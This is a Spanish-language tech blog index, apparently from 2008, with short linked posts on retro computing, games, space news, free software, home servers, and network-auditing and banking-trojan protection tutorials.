      Sobre abandonware, pulsa aquí. Básicamente son programas (generalmente juegos) que ya están descatalogados y liberados de derechos de autor por parte de sus creadores. Con lo cual son de libre distribución. Te sorprendería la de juegos tan buenos que hay liberados, echa un vistazo a la lista del enlace a wikipedia que he puesto antes para vera algunos de ellos.

      Algunos ejemplos:

      Command & Conquer

      Super StarDust

      Comparativa de naves Star Wars vs Star Trek

      

      Ya vimos una comparativa similar en CyberHades aquí. Esta es otra pero especialmente centrada en naves espaciales de Star Wars y Star Trek, realiazada por el mismo autor de la anterior, Dan Carlson.

      Visto en ZonaFandom:

      http://www.zonafandom.com/2008/10/17-comparativa-de-tamano-de-naves-de-star-wars-y-star-trek  

      Enlace a las fotos:

      http://todd587.deviantart.com/art/Star-Trek-vs-Star-Wars-2-4587545

      http://todd587.deviantart.com/art/Star-Trek-vs-Star-Wars-1-4587492

      MonoDevelop, el IDE de Gnome gratuito

      

      Linux

      Alucinante este MonoDevelop IDE de Gnome diseñado para programar en C, C++, C#, .NET y Visual Basic. Es un entorno de programación parecido a Visual Studio (incluso puedes abrir la mayoría de proyectos) , pero a diferencia de este, es gratuito y sobre todo multiplataforma.

      Echa un vistazo al FAQ de la página aquí.

      Ya sabéis, entre este MonoDelvelop y el fantástico Eclipse ya no tienes excusa para programar en Linux.

      Escáner de red para localizar contraseñas por …

      

      (Trinity usando NMap en Matrix)

      Linux

      Visto en:

      http://hackaday.com/2008/10/13/default-password-network-scanning/

      Midnight Research Labs, ha desarrollado un producto llamado depant, que buscará por la red si algún servicio está usando contraseñas por defecto. Primero realiza un nmap y luego usará hydra para chequear por fuerza bruta esos servicios usando una lista de contraseñas por defecto (puedes añadir tu lista también).

      Perfecto para auditar nuestra red para ver qué contraseñas por defecto se están usando y evitar este agujero de seguridad.

      Robo-Q el robot comercial más pequeño del mundo

      

      Robo-Q saldrá a la venta a principios de 2009, y parece que será espectacular. Tienen suficiente “inteligencia” como para golpear una pelota y jugar al fútbol, encontrar salidas en laberintos y esquivar objetos.

      Un video para verlo en acción:

      Visto en:

      http://forevergeek.com/toys/robo-q.php

      PlayTV para la PS3, yo quiero uno ...

       

      Sintonizador TDT, posibilidad de grabar programas de la TV mientras ves otros, programador, streaming a la PSP, grabación en FullHD,  y muchas más cosas que tiene este fantástico PlayTV.

      Lo malo, de momento no puedes comprarlo en España, estos son los motivos (tranqui, siempre nos queda Amazon UK para pillarnos uno que funciona aquí también), OS RECOMENDAMOS LEERLOS (es impresionante):

      http://gizmologia.com/2008/10/en-espana-no-tendras-playtv-por-culpa-del-canon/

      http://futur3.com/?p=68

      Proyectos para Hallowen desde Evil Mad Sciencist …

      

      Divertidos disfraces, aperitivos y otros proyectos “terroríficos” para Hallowen.

      Todos en unas de nuestras páginas favoritas:

      http://www.evilmadscientist.com/article.php/HalloweenProjects

      Espectacular este, calabaza Cylon:

      

      ¿Qué tipo de servidor tienes instalado en casa?, …

       

      Algunos consejos para instalar en casa un servidor con ese equipo viejo que ya no usas, visto en:

      http://lifehacker.com/5063195/what-kind-of-server-are-you-running-at-home

      (ojo a los comentarios, tienen muchos más ejemplo espectaculares).

      Servidor FTP

      MP3 JukeBox

      Monstruo Bittorrent por control remoto

      Copias de seguridad

      Almacenar una Wiki personal

      Copias de seguridad de tu correo

      Sincronización de ficheros

      Unidad remota de almacenamiento

      Control de versiones (usando Subversion)

      Un software ayuda a la Spirit y Opportunity a …

       

      La Spirit y la Opportunity contínuan su espectacular azaña por Marte. Ahora tienen que prepararse para pasar el crudo invierno marciano, y un software ha determinado el camino y la zona más segura. En principio, se determinó la zona llamada Von Braun.

      El problema es el trayecto hasta ese lugar seguro, en pleno invierno marciano es muy peligroso. Por este motivo la sonda Spirit está buscando un lugar alternativo para pasar el invierno, se llama “Home Plate”.

      Las máquinas Enigma y la Guerra Civil española

      

      (foto: Luis Magán)

      IMPRESIONANTE artículo que he visto en barrapunto, esta es la fuente original:

      http://www.elpais.com/articulo/espana/arma/secreta/Franco/elpepuesp/20081011elpepunac_5/Tes

      Os recomiendo que lo léais, no tenía ni idea de esto, al parecer se usaron también máquinas Enigma en la Guerra Civil española.

      Más sobre Enigma en CyberHades 

      Caja PC Galactica (Modding)

      

      Visto en:

      http://www.neatorama.com/2008/10/15/battlestar-galactica-casemod/

      Windows 7 FAQ actualizado

       

      Si tienes curiosidad por todas las nuevas características del nuevo Windows 7, echa un ojo a este FAQ:

      http://www.winsupersite.com/faq/windows_7.asp

      Encontrarás toda la información hasta hoy (incluso con capturas de pantalla) del nuevo Windows 7

      Trailer del juego "Dead Space"

      Dead Space

      http://www.ultimagame.com/Dead_Space_-_Desvelamos_la_historia_de_esta_pesadilla_espacial._i8252.htm

      Premios Sitges 2008

       

      Ya terminó el fantástico Sitges 2008, con algunas sorpresas, estos son los premios más importantes:

      Mejor Película: Surveillance de Jennifer Lynch

      Mejores Efectos Especiales: Kim Wook por The Good, The Bad, The Weird

       

      Mejor Cortometraje: Next Floor de Denis Villeneuve

       

      Premio Seat Noves Visions, Mejor Película: Los Bastardos de Amat Escalante

      Premio Periódico de Cataluña, Mejor Película Blindness de Fernando Meirelles

      Miniature food art

       

      

      Miniaturas humanoides realizando varias acciones sobre postres, dulces y demás delícias:

      http://larryfire.wordpress.com/2008/10/14/pierre-javelle-and-akiko-idas-miniature-food-art/

      Más en:

      http://paintalicious.org/2008/08/31/pierre-javelle-and-akiko-ida-the-minimiam-universe/

      SIMO 2008 cancelado

      

      Visto en MuyComputer:

      Simo 2008 cancelado

      Debido a la falta de expositores, este año nos quedamos sin SIMO después de 47 años consecutivos …

      Una pena, siempre había algo nuevo que ver y siempre nos encontrábamos con amigos …

      Más enlaces:

      http://www.idg.es/macworld/content.asp?idn=72496

      http://www.elmundo.es/navegante/2008/10/14/tecnologia/1223988494.html

      http://www.tuexperto.com/2008/10/14/simo-2008-cancelado-cronica-de-una-muerte-anunciada/

      Wheel of Death, el juego más adictivo de los que …

      

      Lo ví en la gran Microsiervos:

      http://www.microsiervos.com/archivo/juegos-y-diversion/wheel-of-death.html

      Y el pique ha sido tremendo XD

      Espectacular los efectos de rebote y la física.

      Para jugar:

      http://www.kongregate.com/games/geekglue/wheel-of-death

      El Test de Turing sigue invicto

      

      La prueba de Turing se basa, a grandes rasgos, en que un juez humano entable conversación con un ser humano y una máquina (a la vez) e intente establecer cuál es la máquina. Esta prueba data de 1950. fue ideada por Alan Turing y publicada en la revista Mind.

      Pues bien este año, en la Universidad de Reading durante la competencia de inteligencia artificial, seis IA intentaron engañar a voluntarios humanos conversando con ellos a través de un chat. Según parece este año ha habido dos máquinas muy cerca de pasar el test. El programa Elbot fue elegido como el mejor equipo y se alzó con los 3000 dólares del Premio Loebner de Bronce.

      Bricomanía informática con diseño IKEA

      

      Curioso: En este página se muestra cómo un bricomaniaco ha montado un cluster de 24 núcleos y 48 GB de RAM bajo Linux en una cajonera del IKEA. Lo tiene todo bien pensado, tanto que ya está pensando en que se le ha quedado pequeña y está preparando una versión 2.0 que por un coste similar podría alcanzar los 50 TFLOPS.

      http://helmer.sfe.se

      Hasta el gato le da la aprobación. Que salao!

      24 fotos de lugares abandonados (y su historia)

      

      Escenarios para la mejor película de Ciencia Ficción, pero en la realidad.

      Visto en:

      http://weburbanist.com/2008/10/12/24-revealing-stories-photos-of-deserted-buildings/

      http://www.neatorama.com/2008/10/13/hdr-photos-of-abandoned-places/

      Guía ilustrada para los S.O. de los SmartPhones

      

      Estupenda guía de todos los S.O. hasta ahora para todos los smartphones, desde el iPhone hasta el Android.

      Lo mejor, el apartado “Por qué lo usarías (Why You’ll Use It ) " y “Por qué apesta (Why It Sucks)” ;)

      Visto en:

      http://gizmodo.com/5061086/giz-explains-illustrated-guide-to-smartphone-oses

      Medidas de protección contra troyanos bancarios, …

      Un nuevo capítulo de este magnífico tutorial de Chema Alonso:

      Medidas de protección contra troyanos bancarios, 4 de 6

      Solución para subtítulos y problemas de formatos …

      

      Después de varias pruebas y de usar varios programas distintos, os voy a mostrar definitivamente las herramientas que utilizo para subtitular las películas y/o series para poder verlas por la PS3. También os muestro la solución más sencilla de convertir cualquier video no compatible (recuerda que la PS3 no reproduce .AVI) a DivX.

      Hay muchas otras formas, pero esta es para mi la solución más rápida.

      Primero a por los subtítulos: pero antes de nada una anotación. En el parche 2.20 de Sony para la PS3, se añadió la opción de reproducir subtítulos incrustados en un DIVX. Desde un fichero de video y otro con los subtítulos (tipo .SRT, es el más extendido), puedes usar este programa para insertarlos en el mismo fichero de video:

      (más) Libros de programación sobre OpenSource …

       

      Vamos a ampliar nuestra lista de libros opensource, pero ahora centrados en la programación:

      Python:

      • Dive Into Python
      • How to Think Like a Computer Scientist
      • A Byte of Python
      • Python for Fun
      • Building Skills in Python
      Ruby
      • Why's (Poignant) Guide to Ruby
      PHP
      • Practical PHP Programming
      Framework/Projects
      • The Django Book
      Tools
      • The SVN Book
      Java
      • Thinking In Java
      C++
      • Thinking In C++
      Perl
      • Practical mod_perl
      Vim
      • Vi IMproved -- Vim
      Programación Orientada a Objetos
      • Building Skills in Object-Oriented Design
      Lenguaje Ensamblador
      • PC Assembly Language

      Ojo a esta página, impresionante. Libros para comprar (en papel) y para descargarte GRATUITOS (en pdf) de una gran variedad de temas relacionados con el OpenSource:

      InSSIDer, escáner y analizador para redes WiFi

      

      Windows (no funciona bien en Vista).

      Puedes analizar la fuerza de la señal, la seguridad, etc … y todo ello con gráficos para visualizar mejor los resultados.

      Puedes descargarlo desde:

      http://www.metageek.net/products/inssider

      Noticia original:

      http://lifehacker.com/5061856/inssider-detects-wireless-networks

      StarCraft II, trailer sorpresa en la Blizzcon 2008

      Estos de Blizzard son unos auténticos maestros.

      Células solares impresas en casa

      Nicole Kuepper un científico australino de 23 años a inventado un método para fabricar células solares imprimibles a partir de materiales que cualquiera podría encontrar en su casa.

      Si alguno se anima a hacerlo, que luego comente que tal salen. ;-)

      http://www.greenoptimistic.com/2008/10/10/cheapest-inkjet-solar-cells

      Robot barato construido en base a un router …

       

      Partiendo de un router Lynksys WRT54GL, Andrey Mikhalchuk nos promete construir un robot por menos de 150$, fácil de programar y con un rango de control mayor de los juguetes que hay en el mercado.

      Por supuesto, él lo llama “routerbot”.

      http://andrey.mikhalchuk.com/2008/02/23/how-to-build-an-inexpensive-yet-powerful-robot-how-to-turn-your-router-into-a-routerbot.html

      Este es el índice principal:

      1. Get parts and tools (obtener piezas y herramientas)
      2. Modify your router so it can control servos (modificar el router para controlar servomotores)
      3. Reflash your router with new “routerbot” OS (reflashear el router con el routerbot OS)
      4. Test basics and assemble your robot (probar funciones básicas y montar el robot)
      5. Attach a wireless video camera  (conectarle una videocámara wifi)
      6. Configure your routerbot (configurar el routerbot)
      7. Add sensors to the routerbot (añadir sensores a el routerbot)
      8. Make your routerbot fully autonomous (hacer el routerbot totalmente autónomo)
      Video con el routerbot (una de las versiones) en acción:

      Celestia, simulador espacial 3D freeware

      

      Windows, Mac, Linux

      Espectacular simulador de nuestros sistema solar y de más de 100.000 estrellas (puedes viajar a todas y acada una de ellas), todo en 3D. La última versión que puedes descargar desde aquí mejora en muchos aspectos, sobre todo en el mapeado de los planetas y satélites, ya que han incluido los datos recopilados por las últimas sondas espaciales. También existen multitud de add-on para ampliar este catálogo e incluso hacer simulaciones de viajes espaciales. Está programado usando la librería gráfica open source, OpenGL.

      Protección del software Parte III, de S21sec

      Tercera entrega de este fantástico tutorial:

      http://blog.s21sec.com/2008/10/proteccin-del-software-parte-iii.html

      Enlaces relacionados:

      Parte I y Parte II

      Se vende el Ecto-1, de la película "Cazafantasmas"

       

      Ecto-1, el coche de la película “Cazafantasmas”.

      Sólo cuesta:

      45.000 $

      Visto en:

      http://www.neatorama.com/2008/10/08/ghostbusters-ecto-1-for-sale/

      Y si quieres hacer una puja:

      http://cgi.ebay.com/ebaymotors/ws/eBayISAPI.dll?ViewItem&item=150301618614

      Aprender japonés, por Kirai

      

      Dedicado a nuestro gran amigo DuenD que falta le hará (anque ya está bastante puesto) ;)

      Excelente post donde se reunen varios consejos para todos aquellos que necesitéis aprender japonés por uno u otro motivo:

      http://www.kirainet.com/aprender-japones/

      Excelentes referencias a libros y otros materiales de ayuda.

      El IMSAI 8080, el de "Juegos de Guerra"

      

      A raiz del artículo anterior sobre los PC’s más buscados, he visto que el ordenador que usaba David (Matthew Broderick) para “hackear” a la W.O.P.R. era un IMSAI 8080:

      

      Juegos de Guerra.

      Puedes ver también nuestra lista de hackers más famosos en las películas y en la realidad.

      Los ordenadores más buscados por los …

       

      (PCWorld)

      Seguro que como yo, tienes bastantes “trastos” y estas pensando en tirar algo ya de una vez por todas. Yo por ejemplo, encontré el otro día mi impresora de un ZX81 que aún guardaba en el trastero. Antes de tirarlo, recuerda que siempre hay alguien que lo puede comprar por ebay o incluso si es alguno de esta lista prepárate a forrarte:

      1. Altair 8800. (1975) Valor estimado: más de 2.000 dólares.

      

      Todos los artefactos geek espectaculares de la …

      

      Impresionante biblioteca (que condicionó el diseño de toda la casa) que haría las delicias del más geek de todos nosotros. Coronada en el techo con una réplica del satélite ruso Sputnik, esta biblioteca tiene auténticos tesoros como libros de 1.600, el manual de instrucciones de los cohetes Saturno V, un mapa de la Luna firmado por 9 de los 12 astronautas que fueron a la Luna, un trozo de un meteorito caido en Rusia, y mucho mucho más.

      Medidas de protección contra troyanos bancarios, …

      

      Excelente artículo de Chema Alonso explicando cómo protegernos de los troyanos bancarios, publicado en el PCWorld de Septiembre del 2008 (vamos el mes pasado).

      Ya lo he pillado empezado, así que os pongo los enlaces a los 3 primeros capítulos:

      Medidas de protección contra troyanos bancarios, 1 de 6

      Medidas de protección contra troyanos bancarios, 2 de 6

      Medidas de protección contra troyanos bancarios, 3 de 6

      Cómo convertir cualquier Web Widget en un Gadget …

       

      

      La aplicación Amnesty Generator, convierte cualquier widget “incrustable”`(por ejemplo los de Google Gadgets) en un gadget para Windows Vista de una manera bastante sencilla (los widgets son esas pequeñas aplicaciones que aparecen en la barra SideBar de la derecha cuando arrancas Windows Vista):

      

      Descarga la aplicación desde:

      http://amnesty.mesadynamics.com/GeneratorWin.html

      Visto en:

      http://lifehacker.com/software/sidebar/%20http://lifehacker.com/software/gadgets/turn-any-web-widget-into-a-vista-gadget-234003.php

       

      Retrocomputer 3: MSX

       

      MSX: no sabemos exactamente qué significa

      Posibles opciones:

      Matsushita Sony X

      Machines with Software eXchangeability

      MicroSoft eXtended

      Es quizás el ordenador de los 80 que aún tiene una comunidad activa a dia de hoy (al final pondremos enlaces).

      Datos técnicos del MSX 1:

      Microprocesador Z80 a 3,58 Mhz

      MSX Basic 1.0 (de Microsoft) cómo lenguaje de programación base

      ROM de 32Kb

      Algunos datos sobre cómo funciona un DNS y su …

       

      Domain Name System ó DNS

      No os vamos a explicar qué es un DNS, eso puedes encontar miles de artículos muy buenos cómo el enlazado al final de post, pero por lo menos vamos a dar una breve introducción.

      Muy básicamente, son servidores que se dedican a traducir las direcciones IP tipo 10.100.23.45 a www.micasa.com , aunque tiene otras funciones, esta es la principal. Ya que las direcciones que pones en tu navegador tienen que ser traducidas a sus correspondientes IP.

      DMFC para dispositivos portátiles más cerca de …

      

      Las pilas de combustibles son dispositivos para convertir energía química en energía eléctrica. Uno de los sistemas más prometedores para suministrar energía eléctrica a los dispositivos portátiles: ordenadores, PDAs, teléfonos móviles,… son las pilas de combustible de metanol, o Direct Methanol Fuel Cell (DMFC), las cuales proporcionan la energía almacenada en los enlaces de la molécula de metanol.

      Hasta ahora la única membrana que se empleaba era de un material llamado Nafion (DuPont). Ésta tenía una gran cantidad de pérdidas debidas a factores propiamente intrínsecos (era permeable a metanol), lo que reducía la eficiencia del proceso.

      150 de los mejores juegos Flash en la web

      

      Uf, prepara unas cervezas y un fin de semana completo para jugar a todos…

      http://www.neatorama.com/2008/10/06/150-of-the-best-flash-games-on-the-web/

      Y todos en este enlace:

      http://www.techcult.com/the-150-best-online-flash-games/

      A nosotros nos sigue encantando el Tower Defense.

      NetWorx Monitor, otra utilidad para monitorizar …

      

      En CyberHades nos encantan todas las herramientas que nos puedan hacer la vida más fácil a la hora de encontrar posibles problemas en nuestras redes, estas son algunas de las que ya hemos hablado:

      eToolz

      3DTraceroute

      TCPView

      Windows Sysinternals

      Pues ahora otra más para la colección, NetWorx:

      http://lifehacker.com/5059512/networx-monitors-your-bandwidth-and-more

      Estadísticas, tráfico de entrada, medidores de velocidad, etc.

      Cámara pequeña conectada directamente a un cable …

      

      Espectacular:

      http://www.gadgetell.com/tech/comment/tiny-camera-powered-by-ethernet-cable/

      No sólo recibe la información por el cable de red ethernet, también la alimenta (PoE). Consigue resolución VGA y puede capturar hasta 90 frames por segundo. Viene con Baumer-GAPI, una interface de programación genérica para que puedas hacer lo que quieras con ella.

      La puedes conseguir en:

      http://www.baumerelectric.com/usa/

      Realmente chula.

      Exoplanetas conocidos hasta ahora

      

      A raiz de la noticia que he visto sobre un nuevo exoplaneta del tamaño de Jupiter pero 25 veces más denso, así que el problema es realmente si es un planeta o una estrella enana marrón:

      http://www.noticiasdelcosmos.com/2008/10/corot-descubre-raro-y-denso-exoplaneta.html

      http://www.esa.int/esaCP/SEM0GG9FTLF_index_0.html

      http://www.iaa.es/corot/

      

      Pues como decía, me he preguntado cuantos exoplanetas conocemos.

      Y la repuesta es 228 encontrados en estrellas cercanas … y subiendo … también sabemos que existe un sistema de “solar” de 5 planetas y que desde este enlace puedes descargarte todo el catálogo completo de los exoplanetas conocidos hasta la fecha.

      Marte Rojo, adaptada a serie de televisión

      

      Antes vamos a saber un poco más sobre esta estupenda novela/as:

      Marte Rojo es la primera novela de la trilogía marciana de Kim Stanley Robinson, que ganó el premio Nébula, para saber más sobre cada una de ellas:

      http://es.wikipedia.org/wiki/Marte_Rojo

      http://es.wikipedia.org/wiki/Marte_Verde

      http://es.wikipedia.org/wiki/Marte_Azul

      http://www.ciencia-ficcion.com/opinion/op00104.htm

      Estas novelas describen de una manera magistral toda la colonización del planeta Marte desde el 2036 hasta el 2061.

      Hammock, otro grupo para la colección

       

      http://en.wikipedia.org/wiki/Hammock_(band ) 

      http://www.hammockmusic.com/site/

      Buscador de PDF, PDFGeni

      

      He visto este buscador de ficheros PDF que no está nada mal:

      www.pdfgeni.com

      Introduces un término y te busca ficheros PDF con libros, artículos, etc … todos relacionados con lo que buscas. Está en fase Beta.

      También puedes hacerlo con Google:

      Introduce en Google:

      filetype: pdf Java

      Buscará ficheros con la extensión pdf y relacionados con la palabara “Java”.

      Puedes cambiar a ficheros doc, xls, txt, etc …

      El juguete que cambió mi vida, TENTE

      

      Una gran nostalgia me ha invadido cuando he encontrado esta página fantástica donde se habla del mítico juguete que nos cambió la vida a más de uno, el TENTE:

      http://latentetk.blogspot.com

      Aún recuerdo esas tardes de los viernes cuando mi querida abuela me compraba (de vez en cuando) uno de estos  juguetes alucinantes.

      Sobre todo me encantaba la serie del espacio, en concreto se llamaba TENTE Astro:

      40 Trucos de Photoshop para retocar tus fotos (de …

      

      Ya vemos día a día que el retoque fotográfico a todo tipo de portadas de revistas, programas de televisión, etc … es bastante habitual.

      Bueno pues en este enlace tienes 40 trucos (usando Photoshop) de los más usados (son videos), por ejemplo

      2. Ojos y dientes más blancos

      3. Cambiar el color del iris

      4. Pura perfección

      5. Nariz más pequeña

      etc .. así hasta 40.

      Ya sabes, si usas PhotoShop y te gusta hacer retoques a tus fotos, aquí tienes algunos.

      Dexter, comienza la tercera temporada

      

      Si te gustó Dexter en su primera y segunda temporada (de las mejores series de los últimos tiempos), estás de enhorabuena, el 28 de septiembre se estrenó el primer episodio de su tercera temporada (aunque ya fue filtrado hábilmente hace ya casi un mes).

      He visto esta excelente opinión e introducción a esta tercera temporada, en Spoiler, el blog de Hernán Casciari que te recomiendo:

      http://blogs.elpais.com/espoiler/2008/09/dexter-contra-s.html

      De nuevo los Ig Nobel

      

      A estas alturas supongo que todos conocéis los Ig Nobel. Para los que no son unos premios que otorga anualmente la revista humorística Annals of Improbable Research y son considerados como los Anti-Nobel. De hecho, presentan ciertas analogías respecto a éstos como presentar las mismas categorías. A pesar de que los artículos premiados parecen de broma, las investigaciones son serias y la mayoría de ellas han sido publicadas en revistas tan bien consideradas como Nature. Para muestra un botón, os dejo uno y el link para que leáis los demás, risas garantizadas:

      Stargate Worlds, otro MMORPG, Beta el 15 de …

       

      Ya puedes registrarte para ir probando este nuevo MMORPG basado en la serie:

      Stargate

      Stargate Worlds Página Principal

      Wiki Stargate Worlds

      Visto en:

      http://kotaku.com/5058596/stargate-worlds-beta-launches-october-15th

      http://games.slashdot.org/games/08/10/04/038233.shtml

       Algunos videos:

      Número 18 revista gratuita (In)Secure, magazine de …

      

      Ya podéis descargar el número 18 de la fantástica revista sobre seguridad:

      (In)Secure

      Enlace de descarga:

      http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf

      Altamente recomendable.

      PD: En una de nuestras páginas favoritas, Yoire, Mandingo ha puesto todas las revistas juntas para su descarga, aquí.

      15 trucos para Windows Vista (y algunos para XP) …

      

      Windows

      Todo está explicado perfectamente en el artículo original en este enlace:

      15 Trucos para Windows Vista y Windows XP, de MuyComputer

      Excelentes trucos vistos en MuyComputer, este es el índice:

      Truco 1. Libera memoria RAM

      Trucos 2. Elimina archivos que no se dejan borrar

      Truco 3. Coloca una fotografía identificativa fija a una carpeta

      Truco 4. Un recordatorio al inicio de Windows

      Truco 5. Cómo crear tu propio salvapantallas

      Nintendo confirma la nueva consola NDSi

      Lo más interesante:

      • El nuevo tamaño, más pequeña

      • Nuevo sistema operativo con más opciones

      • Navegador Opera de serie

      • Reproductor de audio AAC y MP3

      • Dos cámaras, dentro una de  640x480 y la exterior de 3 Megapixeles

      • Lector de tarjetas SD

      

      Y mucho más, puedes verlo en:

      http://ecetia.com/2008/10/02/nintendo-anuncia-la-nintendo-ds-i/

      http://ecetia.com/2008/10/02/todo-sobre-nintendo-dsi-y-sus-juegos/

      http://www.vidaextra.com/2008/10/02-nintendo-dsi

      http://www.nintendo.es/NOE/es_ES/news/2008/nintendo_presenta_la_dsi_9691.html

      Rumor, posible secuela de Blade Runner, no por …

      

      A esta no por favor, podéis cargaros otras películas, adaptaciones de libros al cine, videojuegos, etc … me da igual, pero a Blade Runner no me la toquéis …

      He leido que hay una posible secuela de la venerada y auténtica obra maestra de la Ciencia Ficción “Blade Runner”. Al parecer el productor será Bud Yorkin, y el estado actual de la película y el guión son secretos. Yorkin está trabajando con un equipo de la compañía “The Third Floor” (equipos de efectos especiales de Star Wars) para trabajar en secuencias de caza (de replicantes) y de batallas en el espacio que ocurriran en las colonias fuera de la Tierra.

      Cómo llegar a ser programador en Java

      

      El lenguaje Java es uno de mis favoritos (junto con el “C”) , así que no he podido resistirme a este post en:

      http://www.wikihow.com/Become-a-Java-Programmer

      donde te explican cómo llegar a ser un programador en Java.

      Necesitas un compilador (un programa para convertir el código Java a bytecode) que antes sólo era posible usar el de Sun, pero ahora existen otras opciones GNU como gcj y jlikes. También necesitarás una máquina virtual Java, se encarga de convertir el bytecode en código máquina entendible para el ordenador.

      Guía gratuita, "Cómo actualizar cada parte de tu …

      

      Espectacular guía en PDF donde te explica:

      • actualizar placa base

      • actualizar el procesador

      • actualizar la tarjeta gráfica

      • actualizar el disco duro

      • hacer más silencioso el PC

      • instalar y añadir memoria

      Sólo tienes que introducir tu nombre y email, luego te envían a tu correo el enlace con la descarga:

      http://www.pcpro.co.uk/marketing/data/pro/jul08/data/download/

      Protección del software Partes I y II, de S21sec

      

      Excelente tutorial que repasa las diferentes técnicas de protección aplicadas al software, en:

      S21sec una de nuestras páginas favoritas sobre seguridad.

      De momento tienen dos entregas:

      Parte I:

      http://blog.s21sec.com/2008/09/proteccin-del-software-parte-i.html

      Parte II:

      http://blog.s21sec.com/2008/09/proteccin-del-software-parte-ii.html

      No os la perdáis, estaremos atentos a las siguientes entregas.

      Robot "Stonehenge Clock" y "RoboStool On-Demand"

      La forma más complicada de hacer un reloj … genial ;)

      Este parece un poquito más útil:

      Vistos en:

      http://www.popularmechanics.com/science/robotics/4285232.html?page=1

      Fable II trailer

      Fable y Fable II

      Y un excelente artículo de nuestro genial amigo Jose María Villalobos:

      http://ecetia.com/2008/09/29/fable-ii-y-el-oscuro-reflejo-de-nuestros-corazones/

      SyncBack excelente aplicación de backup (freeware …

      

      Windows

      Al hilo del post de NOP sobre rsync y las copias de seguridad, os quiero hablar de este excelente programa llamado SyncBack que tienes varias versiones, la profesional de pago y otra gratuita freeware (de excelentes prestaciones también).

      En la versión freeware podrás hacer copias de seguridad de todos tus datos contra cualquier tipo de unidad externa, ftp, etc …  también te notifica por email los eventos de la copia, tiene múltiples perfiles, permite la  sincronización de los datos, comprimir los datos en zip y mucho más.

      Wikiloc entra en Google Earth

      [caption id=“attachment_1690” align=“alignnone” width=“300” caption=“Minister Creek”][/caption]

      Yo, personalmente, no conocía Wikiloc. Éste es un sitio web donde puedes encontrar miles de rutas, más de 30.000, de todo tipo (senderismo, alpinismo, bicicleta,…) aportadas por los internautas de todo el mundo, con su correspondiente nivel de dificultad.

      http://www.wikiloc.com

      Ahora, además, dispone de la ayuda de Google Earth a la hora de visualizar los mapas, con lo que hemos ganado todos.

      Usando nuevos estilos (temas) visuales en Windows

      

      Windows XP/Vista

      Visto en:

      http://lifehacker.com/5056544/how-to-use-custom-windows-visual-styles

      No me gusta mucho cambiar la apariencia de Windows XP/Vista, más que nada para saber siempre donde está cada cosa. Pero distinto es modificar los temas, no afectan a la distribución de los menus, opciones, etc … sólo a los colores, y me he decidido a probarlos y la verdad es que están geniales.

      Sólo una cosa, para poder instalarlos tiene que parchear tu Windows, exactamente la librería:

      Como construir una super antena Wifi de 16db por …

      10$ WIFI Super Antenna - video powered by Metacafe

       Materiales:

      1 trozo de espuma de empaquetar de 35 mm de grosor

      1.5mm2 de cable de cobre

      1 Conector BNC (las dos partes de conexión, macho y hembra)

      1 Placa de latón cuadrada de 12.5 cm  de 0,5 mm o menos.

      Según el autor, hasta 6 veces más de rango.

      Visto en:

      http://www.wonderhowto.com/how-to/video/how-to-construct-a-wifi-super-antenna-167820/

      Phoenix detecta nieve y carbonato cálcico en el …

      

      (Foto de la sonda Viking donde puede verse dióxido de carbono congelado o hielo seco) NASA/JPL/Viking

       

      Directo de nuestra web favoritas del Espacio, SondasEspaciales:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11273&Itemid=42

      Nuestra sonda favorita, la Phoenix ha detectado nieve en Marte, aunque se evaporó antes de caer al suelo y en el suelo se ha encontrado también carbonato cálcico. Todo esto ha sido gracias a que la misión se ha ampliado en su duración unos meses.

      Mr. T anunciando World of Warcraft (VOSE)

      No he podido evitarlo. Uno tiene sus fetiches.

      Hackear la bateria del ordenador portátil

      Por si sois unos manitas de la bricoinformática y electrónica en esta página podéis encontrar varios trucos para tunear vuestro aparatos eléctricos:

      http://www.kipkay.com

      Backup y sincronización de tus servidores.

      

      Ya he probado muchas de las alternativas que hay para realizar backups en casa o empresas sin la utilización de cintas, y he decidido quedarme con rsync. Me ha sorprendido la rapidez y facilidad con la que se configura, su rendimiento y optimización en las transmisiones (es la mejor opcíón que conozco para hacer backups a través de WAN) y además su posibilidad de utilizarlo tanto en Windows como Linux, o lo mejor de todo, organizar una orgía de maquinas con ambos sistemas operativos replicando sus datos entre si. Podeis ver más en http://rsync.samba.org/ , yo en concreto he usado DeltaCopy y FreeNas para las pruebas y he quedado más que satisfecho. Otra aplicacion similar para este tipo de tareas es CobianBackup (alucinante la cantidad de opciones que tiene y lo bien que funciona).

      10+1 increibles sistemas operativos alternativos y …

       He encontrado este fantástico artículo en pingdon:

      http://royal.pingdom.com/2008/09/26/10-amazingly-alternative-operating-systems-and-what-they-could-mean-for-the-future/

      Todos conocemos Linux, Windows y Mac, pero hay otros no tan conocidos que merece la pena echarles un vistazo. Suelen ser desarrollados por pequeñas compañías o por entusiastas sobre todo de la programación a bajo nivel.

      Estos son algunos ejemplos:

      AmigaOS 4.1

      Acaba de salir este mes, y aunque mantiene el mismo nombre, no tiene nada que ver con el antiguo S.O. del Commodore Amiga, ahora es un sistema operativo para la plataforma PowerPC.

      7 grandes proyectos de astrofísica

      

      Se han presentado hoy en Bruselas los proyectos más relevantes de astrofísica con los cuales se pretenden resolver preguntas cómo: ¿Qué es la materia oscura?¿Cuál es el origen de los rayos cósmicos?¿Cuál es la función de los procesos cósmicos violentos?¿Podemos detectar las ondas gravitacionales?.

      http://www.aspera-eu.org/index.php?option=com_content&task=blogcategory&id=7&Itemid=73

      Los 7 temas están relacionados con la astrofísica de partículas, una nueva disciplina que estudia las partículas provenientes del Universo. Estos son los títulos de los macroproyectos europeos (alguno de ellos lleva vinculado un enlace donde encontrar más información):

      Los 50 momentos más significativos en la historia …

      

      Magnífico resúmen a la historia de Internet en 10 capítulos:

      Chapter 1  In the Beginning Chapter 2  Wiring the Web Chapter 3  All About Email Chapter 4  Welcome to the Social Chapter 5  Online Media Chapter 6  Web Property Chapter 7 Web 1.0 Chapter 8 Web 2.0 Chapter 9 Law and Order Chapter 10 Most Epic Fails

      Todo esto en CNET:

      http://crave.cnet.co.uk/software/0,39029471,49299033,00.htm

      Como cambiar (por otro de más capacidad) el disco …

      

      Ya os dije en el post que escribió nuestro amigo Jose María Villalobos:

      http://www.cyberhades.com/?p=1572

      que echaríamos un vistazo a como cambiar el disco duro de la PS3, y menos mal que esta vez Sony nos lo pone más fácil que con la PS2. Es muy sencillo y las ventajas son enormes.

      Manos a la obra:

      1.  La PS3 es compatible con cualquier disco duro SATA de 2.5 pulgadas tipo de los que se usan en los portátiles, de otro modo no cabría físicamente en la PS3.

      Formentera, Julio Verne y la novela "Hector …

      

